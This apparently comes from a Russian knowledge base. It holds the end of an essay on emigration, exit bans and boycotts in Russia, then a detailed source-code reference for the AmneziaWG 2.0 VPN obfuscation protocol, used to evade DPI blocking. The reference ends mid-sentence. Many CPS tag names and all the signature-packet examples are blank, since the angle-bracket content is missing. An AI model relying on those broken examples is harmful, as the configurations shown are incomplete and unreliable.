форма несогласия — уехать. С 2022 года Россию покинули, по [сводке оценок в Википедии](https://ru.wikipedia.org/wiki/%D0%AD%D0%BC%D0%B8%D0%B3%D1%80%D0%B0%D1%86%D0%B8%D1%8F_%D0%B8%D0%B7_%D0%A0%D0%BE%D1%81%D1%81%D0%B8%D0%B8), от нескольких сотен тысяч до более миллиона человек — в публицистике это сравнивают с волной после 1917 года, хотя надёжной статистики нет: отъезд нигде не фиксируется, и [эксперты прямо говорят](https://moskvichmag.ru/lyudi/ostanovit-eto-mozhno-tolko-posadiv-lyudej-na-tsep-kak-utechka-mozgov-menyaet-nauku-i-uchenyh/), что опираться можно только на оценки. Качественный состав виден лучше количественного: только публикующихся учёных страна потеряла около 1,5 тысячи за 2022 год и почти 2 тысячи за 2023-й — уезжает как раз тот слой, который государство не может заместить. И на это «нет» государство отвечает так же, как на все предыдущие, — закрывает канал. Механизм уже построен и работает: с мая 2025 в полном режиме действует реестр электронных повесток, где [повестка автоматически влечёт запрет на выезд](https://es-emigration.com/blog/novii-zakon-ob-elektronnih-povestkah-cherez-gosuslugi) через семь дней, даже если человек её не открывал. С марта 2026 призывники [начали массово получать запреты на выезд](https://ru.themoscowtimes.com/2026/03/04/prizivniki-nachali-massovo-poluchat-zapret-na-viezd-iz-rossii-za-neyavku-v-voenkomat-a188829), а через реестр накладываются уже [«пакетные» ограничения](https://meduza.io/news/2026/03/03/v-rossii-nachali-nakladyvat-paketnye-ogranicheniya-na-prizyvnikov-cherez-reestr-povestok-eto-ne-tolko-zapret-na-vyezd-iz-strany) — не только граница, но и права, счета, сделки. Пока это касается призывников. Но инфраструктура «запись в реестре = граница закрыта» универсальна по построению. > [!warning] Слухи о «скрытых реестрах невыездных специалистов» > В анонимных телеграм-каналах в августе 2026 циркулирует утверждение со ссылкой на «источник, близкий к Минэкономразвития»: якобы правительству предложена концепция скрытых реестров «невыездных» специалистов критических отраслей, а закрытая оценка потерь от релокации — до 2,5% ВВП за три года. Проверить это нельзя: ни одно издание с редакцией и репутацией эти утверждения не подтверждало, а распространяющие их каналы зарабатывают на подписках. Относитесь к этому как к слуху. Проверяемый факт скромнее и тревожнее: техническая база для любых таких списков — реестр с автоматическим запретом выезда — уже существует и обкатана на призывниках. Тюремная пропорция у Крылова была публицистической гиперболой. Но логика лета 2026 движется в её сторону без всяких гипербол: сначала закрыли улицу, потом слово, потом бюллетень — теперь тестируется граница. Если закроется и она, всё давление, описанное в этой заметке, останется внутри котла. Что происходит с котлом, у которого заварили последний клапан, — вопрос уже не публицистический (это прогноз-предупреждение, а не предсказание даты). ## Вместо заключения: физика давления > [!important] Главный вывод — прогноз автора, а не установленный факт > Чем дольше государство — правительство, спецслужбы, лично президент — игнорирует две трети собственных граждан, желающих прекращения огня, тем больше вспышек бойкота будет загораться во всех сферах жизни: в кинопрокате, в магазине приложений, в очереди МФЦ, в оценках на агрегаторе. У этого протеста нет лидера, которого можно арестовать, и нет митинга, который можно разогнать. Это распределённое поведение миллионов — у него нет точки отказа. Вся фактура заметки складывается в одну закономерность. Давление растёт: 57% за переговоры в конце 2024 — 67% к февралю 2026. Каналы закрываются: улица — статьями, слово — самоцензурой, выборы — иском про авторские права на Хиросиму, граница — реестром с автоматическим запретом выезда. Но закрытый канал не обнуляет давление. Он его перераспределяет. Поэтому каждая следующая вспышка происходит там, где её не ждали. Никто в Фонде кино не планировал, что детская сказка соберёт почти полмиллиона оценок со средним баллом 3,0. Никто в VK не закладывал в отчёты мессенджер, который две трети страны отказываются открывать. Подавление отдельной вспышки — заморозка рейтинга, бан модов, снятие списка — убирает симптом и оставляет причину. Историк Сергей Бондаренко [сформулировал это ещё в 2022 году](https://theins.ru/obshestvo/251928): такие формы сопротивления появляются там, где «большие организованные акции невозможны или опасны». Государство четыре года учило граждан, что говорить опасно. Граждане выучили урок — и научились отвечать молча. ## 📚 См. также - [[DPI/ru-network-blocklists|Блок-листы российских сетей: VK, MAX, Госуслуги]] — что доказано о слежке в MAX и как ограничить его трафик на своих устройствах. - [[DPI/rkn-vpn-2030-roadmap|Дорожная карта РКН по VPN до 2030]] — какие законы об обходе блокировок предстоит принимать новой Думе. - [[Белые списки]] — три значения термина «белый список» в российских блокировках. - [[DPI/subnet-whitelist-blocking-2026|Блокировка облачных подсетей по белому списку]] — как режут Cloudflare и Amazon целыми диапазонами. - [[nuc/00-overview|Сертификаты Минцифры (НУЦ) — обзор раздела]] — инфраструктура государственных TLS-сертификатов и её риски. - [[DPI/economic-filter-foreign-channels-2026|Экономический фильтр иностранных сервисов]] — выдавливание конкурентов на уровне экономики, а не только DPI. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование доступно в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/yabloko-boycotts-protest-2026.md) · [скачать весь репозиторий одним zip-архивом](https://git.zapret.moe/zapretdiscordyoutube/todo/archive/main.zip). --- --- date: 2026-08-20 tags: - amnezia - awg - vpn - обзор-раздела aliases: - AmneziaWG 2.0 раздел - Амнезия 2.0 обзор - AWG 2 справочник - Amnezia VPN второе поколение --- # 🛡️ AmneziaWG 2.0 — раздел > [!info] О чём раздел > Материалы о **втором поколении** протокола AmneziaWG (*AWG 2.0, АмнезияВГ*) — обфусцированного WireGuard от команды Amnezia. С 24 июля 2026 года актуально уже третье поколение с шифрованием заголовков пакетов — его разбор лежит в соседнем разделе [[amnezia-3-0/amnezia-3-0|AmneziaWG 3.0]]. ## Заметки раздела - [[amnezia-2-0/reference|AmneziaWG 2.0 — полный справочник параметров]] — все параметры второго поколения протокола: junk-пакеты, magic headers, их значения и ограничения. ## 📚 См. также - [[amnezia-3-0/amnezia-3-0|AmneziaWG 3.0]] — третье поколение: шифрование заголовков, внутреннее устройство, разбор клиента 5.0.0.5 --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование доступно в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/amnezia-2-0/amnezia-2-0.md) · [скачать весь репозиторий одним zip-архивом](https://git.zapret.moe/zapretdiscordyoutube/todo/archive/main.zip). --- --- date: 2026-03-25 tags: - amneziawg - wireguard - обфускация - обход-блокировок aliases: - AmneziaWG 2.0 - AWG 2.0 - Амнезия 2.0 - АмнезияВГ 2.0 - Амнезия ВПН параметры конфига - Что означают Jc Jmin Jmax в конфиге - Что такое S1 S2 S3 S4 и H1 H2 H3 H4 - Сигнатурные пакеты I1-I5 и язык CPS link: https://github.com/amnezia-vpn/amneziawg-go --- # AmneziaWG 2.0 — полный справочник параметров > Составлен на основе анализа исходного кода [amneziawg-go](https://github.com/amnezia-vpn/amneziawg-go) > Верифицировано по исходникам: 2026-03-25 > [!info] У протокола есть третье поколение > Справочник описывает AmneziaWG 2.0. 24 июля 2026 года вышло третье поколение — AmneziaWG 3.0 с шифрованием заголовков пакетов: обзор в [[amnezia-3-0/reference|заметке про AmneziaWG 3.0]], побайтовый разбор по коду — в [[amnezia-3-0/internals|описании внутреннего устройства]], сопутствующий релиз приложения — в [[amnezia-3-0/client-5-0-0-5|AmneziaVPN 5.0.0.5]]. Для своих серверов третье поколение на 20 августа 2026 года всё ещё не выпущено (поддержка смержена в ветку разработки приложения 6 августа, но релиза с ней нет), поэтому параметры ниже остаются актуальными для self-hosted установок. ## Обзор AmneziaWG (*AWG, АмнезияВГ 2.0, Амнезия ВПН VPN*) — модифицированный WireGuard с обфускацией трафика для обхода DPI-блокировок. **Версия 1.0** (2023): мусорные пакеты, padding handshake, фиксированные заголовки. **Версия 1.5** (июль 2025): signature packets i1-i5 — мимикрия под QUIC, DNS и SIP. **Версия 2.0** (сентябрь 2025): range-based заголовки, padding для всех типов пакетов, CPS-язык для описания сигнатур. **Версия 3.0** (июль 2026): шифрование заголовков, content padding, диапазонные тайминги — см. [[amnezia-3-0/reference|отдельную заметку]]. Клиент: AmneziaVPN 4.8.12.9+ (desktop, Android). Self-hosted only для AWG 2.0. --- ## Все параметры протокола (17 штук) ### 1. Junk Packets — мусорные пакеты перед handshake | Параметр | Тип | Валидация | Описание | |----------|-----|-----------|----------| | **Jc** | int | > 0, строго положительное | Количество мусорных пакетов | | **Jmin** | int | > 0, строго положительное | Минимальный размер пакета (байт) | | **Jmax** | int | > 0, строго положительное | Максимальный размер пакета (байт) | Дефолт: 0 (отключено). Сериализуется в вывод только если != 0. - Отправляются **только** при handshake initiation (~раз в 2 минуты) - Размер каждого пакета: `crypto/rand.Int(Jmax - Jmin + 1) + Jmin` - Данные: `crypto/rand.Read` (криптографически безопасные) - Рекомендованный диапазон Jc: 4-12 **Важно**: в коде **нет** перекрёстной валидации `Jmin <= Jmax` — параметры проверяются независимо. Если задать Jmin > Jmax, поведение непредсказуемо. ``` Пример: Jc=7, Jmin=50, Jmax=1000 → 7 пакетов, каждый 50-1000 байт случайных данных ``` ### 2. Padding — случайные байты перед пакетами | Параметр | Версия | Применяется к | Размер сообщения | Как часто | |----------|--------|---------------|------------------|-----------| | **S1** | 1.0 | Handshake Initiation | 148 байт | Каждый handshake (~2 мин) | | **S2** | 1.0 | Handshake Response | 92 байта | Каждый handshake | | **S3** | **2.0** | Cookie Reply | 64 байта | Редко (только под нагрузкой) | | **S4** | **2.0** | Transport Data | переменный | **Каждый data-пакет** | Валидация: `int >= 0` (в отличие от Jc/Jmin/Jmax, допускается 0). Дефолт: 0 (отключено). **Механизм S1/S2/S3** — выделяется новый буфер, random prefix: ``` buf = make([]byte, padding + len(packet)) rand.Read(buf[:padding]) // Заполняем prefix случайными байтами copy(buf[padding:], packet) // Копируем пакет после prefix ``` **Механизм S4** — сдвиг данных в существующем буфере (отличается от S1-S3!): ``` // Сдвигаем зашифрованные данные ВПРАВО на padding байт for i := len(elem.packet) - 1; i >= 0; i-- { elem.buffer[i+padding] = elem.buffer[i] } rand.Read(elem.buffer[:padding]) // Заполняем начало случайными байтами ``` **Приём (все типы)** — `DeterminePacketTypeAndPadding()` в `receive.go`: ``` data = packet[padding:] // Пропускаем padding, читаем заголовок header.Validate(LittleEndian.Uint32(data)) // Проверяем magic header ``` **Особенности S4**: - Применяется к **каждому** data-пакету (основной трафик) - **НЕ** применяется к keepalive-пакетам (проверка: `len(elem.packet) != MessageKeepaliveSize`) - `MessageKeepaliveSize = 32` байта (transport header 16B + Poly1305 tag 16B, нулевой payload) - Добавляется **поверх** стандартного WireGuard-выравнивания до 16 байт (`PaddingMultiple = 16`) - S1-S4 **не обязаны** быть кратны 16 — это любое целое >= 0; `PaddingMultiple` — отдельный внутренний механизм WireGuard - При больших значениях может превысить MTU → фрагментация ### 3. Magic Headers — заголовки пакетов | Параметр | Тип пакета | Формат | Byte order | |----------|------------|--------|------------| | **H1** | Handshake Init | `"N"` или `"N-M"` (uint32 range) | little-endian | | **H2** | Handshake Response | `"N"` или `"N-M"` | little-endian | | **H3** | Cookie Reply | `"N"` или `"N-M"` | little-endian | | **H4** | Transport Data | `"N"` или `"N-M"` | little-endian | Тип значения: `uint32` (0 — 4 294 967 295). **Дефолтные значения** (устанавливаются в `NewDevice()`): ```go device.headers.init = &magicHeader{start: 1, end: 1} // MessageInitiationType device.headers.response = &magicHeader{start: 2, end: 2} // MessageResponseType device.headers.cookie = &magicHeader{start: 3, end: 3} // MessageCookieReplyType device.headers.transport = &magicHeader{start: 4, end: 4} // MessageTransportType ``` Т.е. по умолчанию заголовки = стандартный WireGuard (1, 2, 3, 4). AWG без конфигурации H1-H4 полностью совместим с обычным WireGuard. **Реализация** (`magic-header.go`): ```go type magicHeader struct { start uint32 end uint32 } func (h *magicHeader) Generate() uint32 { high := int64(h.end - h.start + 1) r, _ := rand.Int(rand.Reader, big.NewInt(high)) return h.start + uint32(r.Int64()) } func (h *magicHeader) Validate(val uint32) bool { return h.start <= val && val <= h.end } ``` **Парсинг:** - `"42"` → start=42, end=42 (фиксированный заголовок, как в AWG 1.0) - `"471800590-471800690"` → start=471800590, end=471800690 (101 вариант) - Валидация: `end >= start`, иначе ошибка `"wrong range specified"` **Критичное ограничение:** диапазоны H1, H2, H3, H4 **НЕ должны пересекаться**. Проверка происходит в `ipcSetDevice.mergeWithDevice()` — специальной функции, которая: 1. Заполняет не указанные в текущем IPC-вызове заголовки из существующего конфига устройства 2. Проверяет все 4 заголовка попарно на пересечение 3. Если ОК — применяет к устройству Это значит: можно обновить один заголовок (напр. только H1) без повторного указания H2-H4 — они возьмутся из текущего конфига. ```go // mergeWithDevice() — overlap check headers := []*magicHeader{d.headers.init, d.headers.response, d.headers.cookie, d.headers.transport} for i := 0; i < len(headers); i++ { for j := i + 1; j < len(headers); j++ { if left.start <= right.end && right.start <= left.end { return errors.New("headers must not overlap") } } } ``` **Где применяются:** - H1 → `CreateMessageInitiation()` в `noise-protocol.go`: `msg.Type = device.headers.init.Generate()` - H2 → `CreateMessageResponse()`: `msg.Type = device.headers.response.Generate()` - H3 → `SendHandshakeCookie()`: `msgType := device.headers.cookie.Generate()` - H4 → `RoutineEncryption()`: `msgType := device.headers.transport.Generate()` ``` ХОРОШО (не пересекаются): H1 = 100-200 H2 = 300-400 H3 = 500-600 H4 = 700-800 ПЛОХО: H1 = 100-200 H2 = 150-250 # Пересекается с H1 → ошибка "headers must not overlap" ``` ### 4. Signature Packets (i1-i5) — мимикрия под протоколы (NEW в 2.0) | Параметр | Тип | Индекс в массиве | |----------|-----|-------------------| | **i1** | string (CPS) | `device.ipackets[0]` | | **i2** | string (CPS) | `device.ipackets[1]` | | **i3** | string (CPS) | `device.ipackets[2]` | | **i4** | string (CPS) | `device.ipackets[3]` | | **i5** | string (CPS) | `device.ipackets[4]` | - До 5 пакетов, отправляемых **перед** каждым WireGuard handshake - Описываются на языке CPS (Custom Protocol Signature) - Если пакет не настроен (`nil`) — пропускается - Хранятся в `device.ipackets [5]*obfChain` **Отправка** (из `SendHandshakeInitiation()`): ```go for _, ipacket := range peer.device.ipackets { if ipacket != nil { buf := make([]byte, ipacket.ObfuscatedLen(0)) ipacket.Obfuscate(buf, nil) // src = nil, генерация из тегов sendBuffer = append(sendBuffer, buf) } } ``` --- ## CPS — язык описания сигнатур ### Все 8 тегов amneziawg-go (из исходного кода) > [!warning] Набор тегов различается между реализациями > Всё в этом разделе — про userspace-движок amneziawg-go. Модуль ядра Linux разбирает другой набор (сверено 20 августа 2026 года на тегах линий 3.0/3.1, функция `jp_parse_tags()` в `src/junk.c`): ``, ``, ``, ``, `` плюс собственный недокументированный `` — 4 байта, счётчик спецпакетов (u32 big-endian, при инициации рукопожатия стартует со случайного значения и растёт с каждым отправленным пакетом). Тегов ``, ``, `` модуль ядра не знает: конфигурация с ними отвергается целиком с `-EINVAL`, причём пояснение `I1-packet invalid format` печатается через `net_dbg_ratelimited()` и без включённого dynamic debug в `dmesg` не появляется. Обратно, конфигурация с `` не поднимется на go-движке (LXC, Docker, роутеры, macOS) — в журнале демона будет `unknown tag `. Переносимые между реализациями рецепты `I1`–`I5` — только пересечение `{b, r, rc, rd, t}`. Контекст и таблица расхождений — в [[amnezia-3-0/internals|разборе внутреннего устройства AWG 3.0]]. Зарегистрированы в `obfBuilders` map в `obf.go`: ```go var obfBuilders = map[string]obfBuilder{ "b": newBytesObf, // obf_bytes.go "t": newTimestampObf, // obf_timestamp.go "r": newRandObf, // obf_rand.go "rc": newRandCharObf, // obf_randchars.go (файл с 's'!) "rd": newRandDigitsObf, // obf_randdigits.go "d": newDataObf, // obf_data.go "ds": newDataStringObf, // obf_datastring.go "dz": newDataSizeObf, // obf_datasize.go } ``` | Тег | Формат | Параметр | Размер вывода | Описание | Документирован? | |-----|--------|----------|---------------|----------|-----------------| | `` | `` | **обязателен** (hex) | len(hex)/2 байт | Фиксированные байты | Да | | `` | `` | игнорируется | 4 байта | Unix timestamp, big-endian uint32 | Да | | `` | `` | **обязателен** (int) | N байт | Криптографически случайные байты | Да | | `` | `` | **обязателен** (int) | N байт | Случайные буквы a-zA-Z (52 символа) | Да | | `` | `` | **обязателен** (int) | N байт | Случайные цифры 0-9 | Да | | `` | `` | игнорируется | = input | Pass-through (копия входных данных) | **Нет** | | `` | `` | игнорируется | ~133% input | Base64 RawStdEncoding (без '=' padding) | **Нет** | | `` | `` | **обязателен** (int) | N байт (фикс.) | Длина входных данных в big-endian байтах | **Нет** | ### Синтаксис CPS ``` Формат: <тег параметр> Цепочка: <тег1 параметр1><тег2 параметр2><тег3>... ``` **Парсер** (`newObfChain()` в `obf.go`): - Ищет теги между `<` и `>` - Имя тега — первый токен (до пробела), параметр — второй токен - Теги обрабатываются последовательно слева направо - Результаты конкатенируются в один пакет - Ошибки **не** останавливают парсинг — собираются через `errors.Join()` и возвращаются все разом **Ошибки парсера:** - `"missing enclosing >"` — незакрытый тег - `"empty tag"` — пустые скобки `<>` - `"unknown tag "` — тег не найден в `obfBuilders` - `"failed to build : ..."` — ошибка конструктора тега ### Интерфейс обфускатора ```go type obf interface { Obfuscate(dst, src []byte) // Записывает в dst Deobfuscate(dst, src []byte) bool // Валидация + восстановление ObfuscatedLen(srcLen int) int // Размер выхода DeobfuscatedLen(srcLen int) int // Размер после деобфускации } ``` ### Детали реализации каждого тега **`` — фиксированные байты** (`obf_bytes.go`) ``` Вход: hex-строка, префикс "0x" опционален Обработка префикса: strings.TrimPrefix(val, "0x") — только СТРОЧНЫЙ "0x"! "0X" (заглавный) НЕ распознаётся и останется в строке → ошибка. Примеры: "0xDEADBEEF" → "DEADBEEF", "DEADBEEF" → "DEADBEEF" Выход: бинарные данные из hex.DecodeString() Размер: len(hex_digits) / 2 Ошибки: - "empty argument" — пустая строка (после trim) - "odd amount of symbols" — НЕЧЁТНОЕ кол-во hex-цифр (каждый байт = 2 hex-цифры) - hex.DecodeString error — невалидные hex-символы Deobfuscate: проверяет ТОЧНОЕ побайтовое совпадение → false если не совпали ⚠ ВНИМАНИЕ: hex-строка ДОЛЖНА содержать ЧЁТНОЕ число hex-цифр! "0xDEADBEEF" → 8 цифр → OK (4 байта) "0xc7000000010" → 11 цифр → ОШИБКА "odd amount of symbols"! "0xc70000000108" → 12 цифр → OK (6 байт) ``` **`` — timestamp** (`obf_timestamp.go`) ``` Вход: параметр игнорируется (конструктор: newTimestampObf(_ string)) и — оба валидны Выход: 4 байта = time.Now().Unix() в big-endian uint32 Deobfuscate: ВСЕГДА true (нет проверки значения!) DeobfuscatedLen: 0 В коде комментарий: "replay attack check? requires time to be always synchronized" → защита от replay НЕ реализована ``` **`` — случайные байты** (`obf_rand.go`) ``` Вход: N — целое число (strconv.Atoi), обязательный параметр Выход: N байт из crypto/rand.Read Deobfuscate: ВСЕГДА true (невозможно проверить случайность) DeobfuscatedLen: 0 В коде: "// there is no way to validate randomness :)" ``` **`` — случайные буквы** (`obf_randchars.go`) ``` Вход: N — целое число Алфавит: "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" (52 символа) Генерация: random_byte % 52 → индекс в алфавите Deobfuscate: проверяет unicode.IsLetter() для каждого байта DeobfuscatedLen: 0 ``` **`` — случайные цифры** (`obf_randdigits.go`) ``` Вход: N — целое число Алфавит: "0123456789" (10 символов) Генерация: random_byte % 10 → индекс Deobfuscate: проверяет unicode.IsDigit() для каждого байта DeobfuscatedLen: 0 ``` **`` — pass-through** (`obf_data.go`) — **НЕ ДОКУМЕНТИРОВАН** ``` Параметр: игнорируется ( и — оба валидны) Назначение: передаёт входные данные (src) без изменений в dst ObfuscatedLen(n) = n (размер не меняется) DeobfuscatedLen(n) = n Deobfuscate: всегда true ⚠ В signature packets (i1-i5) src=nil → выводит 0 байт (бесполезен) ``` **`` — Base64** (`obf_datastring.go`) — **НЕ ДОКУМЕНТИРОВАН** ``` Параметр: игнорируется Назначение: кодирует src в Base64 (encoding/base64.RawStdEncoding, без '=' padding) ObfuscatedLen(n) = base64.RawStdEncoding.EncodedLen(n) (≈133% от входа) DeobfuscatedLen(n) = base64.RawStdEncoding.DecodedLen(n) Deobfuscate: декодирует Base64, но ИГНОРИРУЕТ ошибки декодирования (потенциальный баг) ⚠ В signature packets (i1-i5) src=nil → выводит 0 байт (бесполезен) ``` **`` — размер данных** (`obf_datasize.go`) — **НЕ ДОКУМЕНТИРОВАН** ``` Вход: N — количество байт для кодирования размера (strconv.Atoi), ОБЯЗАТЕЛЕН Назначение: записывает len(src) как big-endian число в N байт Алгоритм: for i := N-1; i >= 0; i-- { dst[i] = byte(srcLen & 0xFF) srcLen >>= 8 } ObfuscatedLen(n) = N (фиксированный размер) DeobfuscatedLen(n) = 0 Deobfuscate: всегда true ⚠ В signature packets (i1-i5) src=nil → len(nil)=0 → выводит N нулевых байт (0x00...00) Пример: в i1 → всегда выдаёт 0x0000 ``` --- ## Порядок отправки пакетов (верифицировано по send.go) ### SendHandshakeInitiation() — полная последовательность ``` HANDSHAKE (каждые ~2 минуты, проверка RekeyTimeout): ┌─────────────────────────────────────────────────────────────┐ │ 1. Signature packets: i1 → i2 → i3 → i4 → i5 │ │ (nil пропускаются, каждый — отдельный UDP-пакет) │ ├─────────────────────────────────────────────────────────────┤ │ 2. Junk packets: Jc штук │ │ Размер каждого: rand(Jmin..Jmax) байт │ │ Содержимое: crypto/rand.Read │ ├─────────────────────────────────────────────────────────────┤ │ 3. Handshake Init message: │ │ a) CreateMessageInitiation() → msg.Type = H1.Generate() │ │ b) binary.Write(LittleEndian, msg) → 148 байт │ │ c) cookieGenerator.AddMacs(packet) → MAC1 + MAC2 │ │ d) Если S1 > 0: [S1 random bytes][packet] │ │ Итого: S1 + 148 байт │ └─────────────────────────────────────────────────────────────┘ Всё отправляется ОДНИМ вызовом peer.SendBuffers(sendBuffer) ``` ### SendHandshakeResponse() — отдельно **Signature packets (i1-i5) и junk packets НЕ отправляются с Response!** Они отправляются ТОЛЬКО с Init. Это подтверждено по коду: SendHandshakeResponse() не содержит ссылок на `device.ipackets` или `device.junk`. ``` ┌─────────────────────────────────────────────────────────────┐ │ 4. Handshake Response message: │ │ a) CreateMessageResponse() → msg.Type = H2.Generate() │ │ b) binary.Write(LittleEndian, msg) → 92 байта │ │ c) BeginSymmetricSession() → деривация ключей │ │ d) cookieGenerator.AddMacs(packet) │ │ e) Если S2 > 0: [S2 random bytes][packet] │ │ f) SendBuffers([][]byte{packet}) — один пакет │ │ Итого: S2 + 92 байта │ └─────────────────────────────────────────────────────────────┘ ``` ### SendHandshakeCookie() — под нагрузкой ``` ПОД НАГРУЗКОЙ (DoS protection, редко): ┌─────────────────────────────────────────────────────────────┐ │ 5. Cookie Reply: │ │ a) msgType = H3.Generate() │ │ b) cookieChecker.CreateReply(..., msgType) │ │ c) binary.Write → 64 байта │ │ d) Если S3 > 0: [S3 random bytes][packet] │ │ Итого: S3 + 64 байта │ │ │ │ Отправляется через device.net.bind.Send() НАПРЯМУЮ │ │ (не через peer queue, в отличие от Init/Response) │ └─────────────────────────────────────────────────────────────┘ ``` ### RoutineEncryption() + RoutineSequentialSender() — data трафик ``` DATA ТРАФИК (постоянно): ┌─────────────────────────────────────────────────────────────┐ │ 6. Transport packet: │ │ a) RoutineEncryption(): │ │ - H4.Generate() → первые 4 байта (little-endian) │ │ - calculatePaddingSize() → выравнивание до 16 байт │ │ - AEAD шифрование (ChaCha20-Poly1305) │ │ b) RoutineSequentialSender(): │ │ - Если НЕ keepalive И S4 > 0: │ │ сдвиг данных вправо на S4, random prefix │ │ Итого: S4 + 16B header + encrypted payload + 16B align │ │ │ │ Keepalive: S4 НЕ применяется (len == MessageKeepaliveSize)│ └─────────────────────────────────────────────────────────────┘ ``` ### Приём пакетов — DeterminePacketTypeAndPadding() Функция в `receive.go` определяет тип пакета по размеру + magic header: ```go // Для Init/Response/Cookie — ТОЧНОЕ совпадение размера: if size == padding + MessageInitiationSize { ... } // S1 + 148 if size == padding + MessageResponseSize { ... } // S2 + 92 if size == padding + MessageCookieReplySize { ... } // S3 + 64 // Для Transport — больше или равно (переменный payload): if size >= padding + MessageTransportHeaderSize { ... } // S4 + 16+ ``` Затем: 1. Пропускает `padding` байт 2. Читает uint32 из первых 4 байт (little-endian) 3. Валидирует через `header.Validate(value)` 4. При совпадении — убирает padding: `copy(packet, packet[padding:])` + truncate **Junk и Signature пакеты на приёме:** Явной обработки нет. Junk-пакеты и signature-пакеты не проходят проверку `DeterminePacketTypeAndPadding()` (возвращается `MessageUnknownType`) и **молча отбрасываются** — ни ошибок, ни логов. Это by design: они нужны только для обмана DPI на сетевом уровне. **Нет fallback к стандартному WireGuard:** Функция проверяет пакеты **только** через настроенные AWG-заголовки (H1-H4). Если H1-H4 изменены, стандартные WireGuard-пакеты (type=1,2,3,4) будут отброшены как `MessageUnknownType`. Обратной совместимости с обычным WireGuard при изменённых заголовках нет. --- ## Примеры конфигураций ### Минимальная конфигурация AWG 2.0 ```ini [Interface] PrivateKey = YOUR_KEY Address = 10.8.1.2/24 DNS = 1.1.1.1 # Junk Jc = 5 Jmin = 50 Jmax = 500 # Padding S1 = 40 S2 = 40 # Headers (фиксированные, совместимость с 1.0) H1 = 123456789 H2 = 987654321 H3 = 111111111 H4 = 222222222 [Peer] PublicKey = SERVER_KEY Endpoint = server:51820 AllowedIPs = 0.0.0.0/0 ``` ### Полная конфигурация AWG 2.0 ```ini [Interface] PrivateKey = YOUR_KEY Address = 10.8.1.2/24 DNS = 1.1.1.1, 1.0.0.1 # --- Junk packets --- Jc = 7 Jmin = 50 Jmax = 1000 # --- Padding (все типы) --- S1 = 68 S2 = 149 S3 = 32 S4 = 16 # --- Range-based headers --- H1 = 471800590-471800690 H2 = 1246894907-1246895000 H3 = 923637689-923637690 H4 = 1769581055-1869581055 # --- Signature packets (мимикрия под QUIC) --- i1 = i2 = [Peer] PublicKey = SERVER_KEY Endpoint = server:51820 AllowedIPs = 0.0.0.0/0 PersistentKeepalive = 25 ``` ### Примеры сигнатур для мимикрии **DNS-запрос:** ``` i1 = ``` Побайтовый разбор hex (верифицировано по RFC 1035): - `1a2d` — Transaction ID (произвольный) - `0100` — Flags: Standard Query, Recursion Desired - `0001` — QDCOUNT: 1 вопрос - `0000 0000` — ANCOUNT=0, NSCOUNT=0 - `0001` — ARCOUNT: 1 additional record - `09` — DNS label length = 9 - `696e666572656e6365` — ASCII "inference" **QUIC Initial (верифицировано по RFC 9000):** ``` i1 = ``` Побайтовый разбор hex: - `c7` = `11000111` — Form=1 (Long), Fixed=1, Type=00 (Initial), Reserved=0111 - `00000001` — Version = QUIC v1 - `08` — DCID Length = 8 байт - `` — 8 случайных букв имитируют Destination Connection ID - `` — timestamp добавляет уникальность каждому handshake - `` — 100 случайных байт заполняют payload **SIP INVITE (текстовый протокол):** ``` i1 = ``` Hex = "INVITE sip:" + random user + "@SipVPN.com SIP" + random payload. **Многопакетная сигнатура:** ``` i1 = # мимикрия под QUIC Initial i2 = # произвольные магические байты (не протокол) i3 = # чистый шум ``` 3 пакета перед каждым handshake: QUIC-подобный + кастомный + чистый шум. **С недокументированным тегом ``:** ``` i1 = ``` 2 нулевых байта (т.к. src=nil в signature packets, len=0) + 50 случайных байт. Может имитировать length-prefixed протокол с пустым полем длины. > **Примечание:** теги `` и `` **бесполезны** в i1-i5, т.к. signature packets > вызывают `Obfuscate(buf, nil)` — src всегда nil, и эти теги выводят 0 байт. > Они предназначены для возможного использования obfChain в других контекстах. --- ## Подводные камни и ограничения ### 1. MTU overflow при S4 S4 добавляется поверх стандартного WireGuard-выравнивания и AEAD overhead. **Расчёт размера пакета на проводе** (network MTU обычно = 1500): ``` IP header: 20 байт UDP header: 8 байт S4 random prefix: S4 байт WG transport header: 16 байт (H4 type + receiver + nonce) Encrypted payload: padded_plaintext байт (ChaCha20, размер = вход) Poly1305 auth tag: 16 байт ───────────────────────────── ИТОГО IP-пакет = 60 + S4 + padded_plaintext Максимальный plaintext без фрагментации: max_plaintext = network_MTU - 60 - S4 S4=0: max = 1500 - 60 = 1440 (стандартный WireGuard) S4=16: max = 1500 - 76 = 1424 S4=50: max = 1500 - 110 = 1390 Рекомендуемый TUN MTU = network_MTU - 60 - S4 S4=0 → TUN MTU ≈ 1420 (стандартный WG дефолт) S4=16 → TUN MTU ≈ 1400 S4=50 → TUN MTU ≈ 1370 ``` **IPv6:** заголовок IPv6 = 40 байт (вместо 20 у IPv4). Формула для IPv6: ``` max_plaintext_ipv6 = network_MTU - 80 - S4 (40+8+16+16=80) ``` **Важно:** `calculatePaddingSize()` работает с TUN MTU (размер payload от TUN-устройства), а не с network MTU. Если TUN MTU не уменьшен для компенсации S4, пакеты будут фрагментироваться на уровне IP. ### 2. Дефолтные значения и совместимость AWG-параметры по умолчанию: - **H1-H4**: инициализированы стандартными WireGuard-типами (1, 2, 3, 4) в `NewDevice()` — НЕ nil! - **S1-S4, Jc/Jmin/Jmax**: 0 (обфускация выключена) - **i1-i5**: nil (signature packets отключены) Без явной конфигурации AWG-параметров протокол полностью совместим с обычным WireGuard. Параметры клиента и сервера **должны совпадать** — иначе стороны не смогут декодировать пакеты. ### 3. Timestamp без replay-защиты Тег `` записывает `time.Now().Unix()`, но при deobfuscation **всегда возвращает true**. Код содержит комментарий: `"replay attack check? requires time to be always synchronized"` — защита не реализована. ### 4. Random нельзя валидировать `` при deobfuscation возвращает true безусловно. `DeobfuscatedLen` = 0. Комментарий: `"there is no way to validate randomness :)"`. ### 5. Header overlap Диапазоны H1-H4 проверяются на пересечение при **config merge** (после установки всех 4-х заголовков). Ошибка: `"headers must not overlap"`. Если пересекаются → невозможно определить тип пакета. ### 6. Keepalive без S4 S4 **не применяется** к keepalive (проверка `len(elem.packet) != MessageKeepaliveSize`). Это потенциальный 